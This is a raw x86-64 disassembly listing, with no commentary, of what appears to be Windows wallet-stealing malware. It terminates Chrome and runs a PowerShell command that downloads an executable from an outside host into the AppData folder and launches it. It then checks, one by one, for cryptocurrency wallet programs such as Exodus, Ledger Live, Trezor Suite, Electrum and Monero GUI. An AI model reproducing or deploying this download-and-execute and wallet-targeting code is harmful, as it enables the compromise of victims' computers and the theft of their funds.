call fcn.1400131c0
xor edx, edx
lea rcx, str.Chrome_WidgetWin_1
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x70]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov edx, 4
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xorps xmm0, xmm0
lea rdx, str.powershell.exe__Command__Invoke_WebRequest__Uri_http:__scarlet.team_public_stub_metaver_.exe__OutFile__env:APPDATAmetaver_.exe_
xorps xmm1, xmm1
lea rcx, [rbp - 0x68]
mov r8d, 0x82
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
call fcn.140003280
xorps xmm0, xmm0
lea rdx, [rbp - 0x68]
xor eax, eax
cmp qword [rbp - 0x50], 0xf
mov qword [rbp + 0x20], rax
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], r12d
movups xmmword [rbp], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp - 0x20], xmm0
mov word [rbp], r12w
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400063a2
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.good.
lea rcx, [0x14004b830]
call fcn.14000aa40
jmp 0x1400063c8
lea rdx, str.Error:
lea rcx, [0x14004ba80]
call fcn.14000aa40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140007000
mov rcx, rax
call fcn.14000ad00
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000640d
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006408
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006408
call fcn.14001c680
int3
call fcn.1400131c0
call fcn.140004c50
call fcn.140004f10
mov r14, qword [rbp + 0x88]
mov rsi, qword [rbp + 0x80]
mov r15, qword [rbp + 0x70]
nop dword [rax]
cmp r14, 0xf
lea rcx, [rbp + 0x70]
cmova rcx, r15
cmp rsi, 1
jne 0x140006430
mov r8, rsi
lea rdx, [0x140043200]
call fcn.1400355a0
test eax, eax
jne 0x140006430
cmp byte [0x14004d3c9], r12b
jne 0x140006496
xorps xmm0, xmm0
mov qword [rbp - 0x58], r12
lea r8d, [rsi + 9]
mov qword [rbp - 0x50], r12
lea rdx, str.Exodus.exe
lea rcx, [rbp - 0x68]
movups xmmword [rbp - 0x68], xmm0
call fcn.140003a20
lea rcx, [rbp - 0x68]
or edi, esi
call fcn.140003380
test eax, eax
je 0x140006496
movzx ebx, sil
jmp 0x140006498
xor bl, bl
test dil, 1
je 0x1400064e1
mov rdx, qword [rbp - 0x50]
and edi, 0xfffffffe
cmp rdx, 7
jbe 0x1400064e1
mov rcx, qword [rbp - 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x14000653a
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xa
mov qword [rbp - 0x70], r12
lea rdx, str.Exodus.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3c9], 1
jmp 0x140006430
cmp byte [0x14004d3cd], r12b
jne 0x14000657f
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xf
mov qword [rbp - 0x70], r12
lea rdx, str.Ledger_Live.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
or edi, 2
call fcn.140003380
test eax, eax
je 0x14000657f
mov bl, 1
jmp 0x140006581
xor bl, bl
test dil, 2
je 0x1400065cb
mov rdx, qword [rbp - 0x70]
and edi, 0xfffffffd
cmp rdx, 7
jbe 0x1400065cb
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065c6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x140006624
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xf
mov qword [rbp - 0x70], r12
lea rdx, str.Ledger_Live.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3cd], 1
jmp 0x140006430
cmp byte [0x14004d3ca], r12b
jne 0x140006669
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x11
mov qword [rbp - 0x70], r12
lea rdx, str.Atomic_Wallet.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
or edi, 4
call fcn.140003380
test eax, eax
je 0x140006669
mov bl, 1
jmp 0x14000666b
xor bl, bl
test dil, 4
je 0x1400066b5
mov rdx, qword [rbp - 0x70]
and edi, 0xfffffffb
cmp rdx, 7
jbe 0x1400066b5
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x14000670e
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x11
mov qword [rbp - 0x70], r12
lea rdx, str.Atomic_Wallet.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3ca], 1
jmp 0x140006430
cmp byte [0x14004d3c8], r12b
jne 0x140006753
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xa
mov qword [rbp - 0x70], r12
lea rdx, str.BitBox.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
or edi, 8
call fcn.140003380
test eax, eax
je 0x140006753
mov bl, 1
jmp 0x140006755
xor bl, bl
test dil, 8
je 0x14000679f
mov rdx, qword [rbp - 0x70]
and edi, 0xfffffff7
cmp rdx, 7
jbe 0x14000679f
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000679a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x1400067f8
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xa
mov qword [rbp - 0x70], r12
lea rdx, str.BitBox.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3c8], 1
jmp 0x140006430
cmp byte [0x14004d3cc], r12b
jne 0x14000683d
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x10
mov qword [rbp - 0x70], r12
lea rdx, str.Trezor_Suite.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
or edi, 0x10
call fcn.140003380
test eax, eax
je 0x14000683d
mov bl, 1
jmp 0x14000683f
xor bl, bl
test dil, 0x10
je 0x140006889
mov rdx, qword [rbp - 0x70]
and edi, 0xffffffef
cmp rdx, 7
jbe 0x140006889
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006884
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x1400068e2
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x10
mov qword [rbp - 0x70], r12
lea rdx, str.Trezor_Suite.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3cc], 1
jmp 0x140006430
cmp byte [0x14004d3cf], r12b
jne 0x140006927
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x12
mov qword [rbp - 0x70], r12
lea rdx, str.electrum_4.4.6.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
or edi, 0x20
call fcn.140003380
test eax, eax
je 0x140006927
mov bl, 1
jmp 0x140006929
xor bl, bl
test dil, 0x20
je 0x140006973
mov rdx, qword [rbp - 0x70]
and edi, 0xffffffdf
cmp rdx, 7
jbe 0x140006973
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000696e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x1400069cc
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x12
mov qword [rbp - 0x70], r12
lea rdx, str.electrum_4.4.6.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3cf], 1
jmp 0x140006430
cmp byte [0x14004d3d0], r12b
jne 0x140006a11
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xb
mov qword [rbp - 0x70], r12
lea rdx, str.Coinomi.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
or edi, 0x40
call fcn.140003380
test eax, eax
je 0x140006a11
mov bl, 1
jmp 0x140006a13
xor bl, bl
test dil, 0x40
je 0x140006a5d
mov rdx, qword [rbp - 0x70]
and edi, 0xffffffbf
cmp rdx, 7
jbe 0x140006a5d
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a58
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x140006ab6
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xb
mov qword [rbp - 0x70], r12
lea rdx, str.Coinomi.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3d0], 1
jmp 0x140006430
cmp byte [0x14004d3ce], r12b
jne 0x140006afc
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xa
mov qword [rbp - 0x70], r12
lea rdx, str.Guarda.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
bts edi, 7
call fcn.140003380
test eax, eax
je 0x140006afc
mov bl, 1
jmp 0x140006afe
xor bl, bl
test dil, dil
jns 0x140006b48
mov rdx, qword [rbp - 0x70]
btr edi, 7
cmp rdx, 7
jbe 0x140006b48
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b43
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x140006ba1
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0xa
mov qword [rbp - 0x70], r12
lea rdx, str.Guarda.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3ce], 1
jmp 0x140006430
cmp byte [0x14004d3cb], r12b
jne 0x140006be7
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x15
mov qword [rbp - 0x70], r12
lea rdx, str.monero_wallet_gui.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
bts edi, 8
call fcn.140003380
test eax, eax
je 0x140006be7
mov bl, 1
jmp 0x140006be9
xor bl, bl
bt edi, 8
jae 0x140006c30
mov rdx, qword [rbp - 0x70]
btr edi, 8
cmp rdx, 7
jbe 0x140006c30
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c8d
call fcn.1400131c0
test bl, bl
je 0x140006430
xorps xmm0, xmm0
mov qword [rbp - 0x78], r12
mov r8d, 0x15
mov qword [rbp - 0x70], r12
lea rdx, str.monero_wallet_gui.exe
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.140003a20
lea rcx, [rsp + 0x78]
call fcn.140004070
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], 1
call fcn.14000b390
call fcn.1400041b0
mov byte [0x14004d3cb], 1
jmp 0x140006430
call fcn.14001c680
int3